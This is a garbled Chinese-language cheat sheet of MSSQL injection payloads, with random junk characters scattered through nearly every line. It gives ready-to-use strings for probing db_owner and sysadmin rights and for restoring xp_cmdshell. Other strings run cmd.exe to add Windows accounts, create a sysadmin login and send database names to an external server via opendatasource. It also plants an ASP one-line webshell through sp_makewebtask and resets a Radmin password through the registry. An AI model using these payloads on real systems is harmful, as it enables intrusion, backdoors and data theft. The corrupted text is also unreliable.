//看看是什么权限的% ]) Z) W; O# p
and 1=(Select IS_MEMBER('db_owner'))+ q& j$ d5 v% ^9 z/ Y6 X
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--! ]3 ]& X9 j0 |& f
. u, X7 y5 y% f& P& \9 j//检测是否有读取某数据库的权限
4 z# X8 V4 m: j/ Y, S. I/ \and 1= (Select HAS_DBACCESS('master'))
1 }. V3 o2 o" {$ U; U4 aAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
1 s' b2 K( R, x! @
' N4 L4 d- U; [, p5 o- }
- ]6 P7 ]9 d: }" H* L3 b数字类型
, U, X( c% C- `5 W: F, ^and char(124)%2Buser%2Bchar(124)=0 f/ Y2 I* g J8 l
. K# }, o* i6 W
字符类型
( A. \0 S0 G" [+ ?$ R' and char(124)%2Buser%2Bchar(124)=0 and ''='9 x. S0 Z+ p0 h) c, x
2 I4 ~% f" ]5 n2 J. g+ O
搜索类型
0 s$ j+ A5 m- e8 L5 z Q; D; j2 T' and char(124)%2Buser%2Bchar(124)=0 and '%'='
1 B$ l3 K' e' q& o7 K1 V9 e3 Q$ f
% J4 D6 U4 V4 a9 {: a9 H爆用户名0 g/ i8 }$ b5 y# y, w2 y, a
and user>0
/ i. e! D$ n2 J3 `' and user>0 and ''='
3 S, J! e) a3 P& D0 \0 @- I g- x7 C2 y
检测是否为SA权限& U5 U6 O* R- y L0 Y
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--: ]# t ?! p2 O7 S& C+ b: Q
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --# Y& O& R+ k" w1 L2 o
. Q/ m/ J' w- w$ r% u/ P
检测是不是MSSQL数据库7 b& L- D1 D! v2 Z7 I1 s& _: A) d
and exists (select * from sysobjects);--
- N) K* \8 j( ], B9 h5 G7 O
( Y' w$ @' ^- g$ D+ ~ Y! V检测是否支持多行$ j' `/ r- h/ ^0 P
;declare @d int;--* w6 H2 v. f* [5 M" Q B
" q& u- V/ t- d, o% p1 k恢复 xp_cmdshell
/ u8 q) ^8 X' j1 k) n; S) a;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
0 k8 W Q- r) |4 \- ?
3 a. W8 s/ l8 Q! k3 ] G; g7 r4 I8 g6 M% c) Z- K3 E9 u5 X
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
6 `2 E$ m; t' _% ?( |- x# T5 y2 K' N2 @
//-----------------------
6 C! b2 T: v! q, P/ S: B& l// 执行命令
& ~- }8 A1 i( T. w' x//-----------------------
. ^! a1 H9 K! B4 m2 R# k G首先开启沙盘模式:
3 F$ B- _ g, T: w& g; Mexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',16 J( q* [2 o8 r9 N* m, `& ]( A
0 W7 n7 p x2 J, o4 j然后利用jet.oledb执行系统命令
$ N- T" S) F& O# ^select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
7 J& N4 y5 u( _( `9 h
; o* X5 `' a& a5 Q! Q执行命令- b* ~. k3 g7 R; a
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--9 L7 L, k9 Z. d( N
/ N) d# ^" t" y u1 n. S
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'9 M6 u/ E) z. |: y1 A
' p. E' p- \! F( p+ _$ V
判断xp_cmdshell扩展存储过程是否存在:
, K) N! m- r; I! ]5 Dhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')! e- S8 C. g; j
" P) i/ H2 B0 E, `* a/ V9 s$ A
写注册表" @7 D$ r0 O' |2 g* s4 c; ^
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; d5 R7 h5 `2 Y, |- w$ k7 T* j
3 j% p) d/ l0 X$ L. d, |REG_SZ' o0 v4 H! l4 b4 j. P8 w B) _
5 x4 n( Y" Y* }: O: `& K读注册表
6 ]3 U9 a9 [0 U4 s- P6 I( Dexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
" A, }2 Y6 K) e! _2 B% r% M0 K! n# j, ]3 Y" a( m
读取目录内容, A; ^- h' F2 \1 ~# ~" I; y4 h
exec master..xp_dirtree 'c:\winnt\system32\',1,1
/ J5 P2 j* W; Z' _/ ?! k1 y, q0 D6 I! j6 T$ q
Q7 t- k2 | M/ M
数据库备份0 o$ E! {" C+ v7 M+ z4 n' d5 q
backup database pubs to disk = 'c:\123.bak'/ ?2 ~* Q( @: _
+ {9 ?3 P. f J: |; w
//爆出长度
$ M8 b! X$ S$ bAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--4 }/ z; b, v2 [$ O1 N* [
2 A( M7 ^4 o* \0 L9 c( y' E( }
* c& N4 B# b& ^2 D' f+ N* P7 W! A$ P% { i
更改sa口令方法:用sql综合利用工具连接后,执行命令:
* b; p9 N) m, `$ f( A! Z" u% Gexec sp_password NULL,'新密码','sa'
* ?7 d/ \1 e: [2 F- Y/ o
9 m/ Y5 q' Y* D% w添加和删除一个SA权限的用户test:
3 ?7 k' S+ G8 ]# r. H) zexec master.dbo.sp_addlogin test,9530772! x- h2 O% K, E3 {1 Y; y
exec master.dbo.sp_addsrvrolemember test,sysadmin
, A1 w# m; ?& i+ n5 [$ L5 V% u8 P& ]+ \( W9 F
删除扩展存储过过程xp_cmdshell的语句:6 U. c/ d$ N) c8 S; u- s
exec sp_dropextendedproc 'xp_cmdshell'
, N! b- O& H" ? `* j+ \6 _7 E
# m! O9 y0 S* e& G添加扩展存储过过程3 d) F5 `9 h6 `3 m! C, B6 N. A3 R6 x
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
9 h. c/ j8 b( h" J/ xGRANT exec On xp_proxiedadata TO public
2 O# i0 F0 k7 W4 Y- R, i9 o
' q' D7 v# E9 W* A6 t
, Z2 n" S$ i* p3 c; v停掉或激活某个服务。
( v. f& i* R& e: m8 x9 L( j* d/ J' V$ a/ T' Z& l+ }
exec master..xp_servicecontrol 'stop','schedule') F5 a9 j) ~- a- o Y5 t
exec master..xp_servicecontrol 'start','schedule'- d. {" d. H# X, Z7 R
( Y( o" }2 ~5 N* q* n \4 k7 hdbo.xp_subdirs$ n: l' Q0 Y4 q# @
- d" t% B! c @, _2 |# k6 E5 z; t只列某个目录下的子目录。
) s5 b- ?7 g) ^0 ~. Txp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp', \- c F% I# J+ h5 ^8 i
9 h: g) M# c. }# v2 f
dbo.xp_makecab2 K! V# Y8 v7 ?" ?4 {4 s _
1 Z: A" M, g9 M+ `# U. d4 S将目标多个档案压缩到某个目标档案之内。; X9 d" \/ |3 I" p \5 @
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。 t5 f1 c) l" L0 r
4 c" k0 i4 @+ i6 idbo.xp_makecab
- M# a4 s$ k$ t- E6 Z' J'c:\test.cab','mszip',1,& y2 @8 T \* a1 Q& S
'C:\Inetpub\wwwroot\SQLInject\login.asp',) k5 t& w7 p+ c4 i9 n/ j7 v
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
: }5 n9 X( j# A. U, r3 w1 H) i7 N) ?0 Q: H8 d. h! D
xp_terminate_process
& l6 X& N+ ~$ f/ C, C
/ x- d. j/ I% e, z( Q, s6 `停掉某个执行中的程序,但赋予的参数是 Process ID。
; M3 d: ?- R2 I% ~; D利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID4 G7 Z5 d( D6 G" a
q- Z! s& e& g/ V# w0 u; u
xp_terminate_process 2484
3 ^- _3 K, }+ z) q# z3 i( m! [% S5 K6 q; t; P/ i% m
xp_unpackcab) P. w/ _* r, M
+ h9 B4 O+ F4 _9 n4 g) D解开压缩档。$ D- w6 R/ D$ i& [
3 g0 q# Q1 H: f2 r; }: f
xp_unpackcab 'c:\test.cab','c:\temp',1
I/ H5 U/ A9 `+ ]# y5 Y) u% S) ?& l) H6 k
% M$ W. @' d1 l某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12344 Y r/ ^2 ?! S! d) p
6 g/ V) S0 P. w- w: T& k' x
create database lcx;6 A& H( `/ J+ P+ }9 @" Q
Create TABLE ku(name nvarchar(256) null);$ ], _9 f" D' w/ \) \% [
Create TABLE biao(id int NULL,name nvarchar(256) null);
; ?; ?# F e1 @, a
4 o4 P8 I+ ~) U% s3 j1 d( e//得到数据库名
' S: u* _4 P. P6 }* ^% Rinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases7 y" d9 _: Q v! K1 B
) z+ C% [/ @" w& s
0 v8 E' Z0 Y, |7 O" s
//在Master中创建表,看看权限怎样
! j9 Y9 h6 M. n. y. c0 ]Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--( E2 J* O' k! _' o& A2 Q4 ^
4 |$ r3 x" g* E, F4 j$ x用 sp_makewebtask直接在web目录里写入一句话马:
% V ]3 l' Q& c$ A1 Phttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--& @0 {8 k) \, n6 ~. N
7 h* [! f0 D2 c3 \+ s3 l6 p//更新表内容# U) F; H a, @+ f! h% J E
Update films SET kind = 'Dramatic' Where id = 123
- l* X& y( o, a2 y. U
* k3 }: j5 O* a//删除内容/ n! a# e. D% }! A0 N
delete from table_name where Stockid = 3 |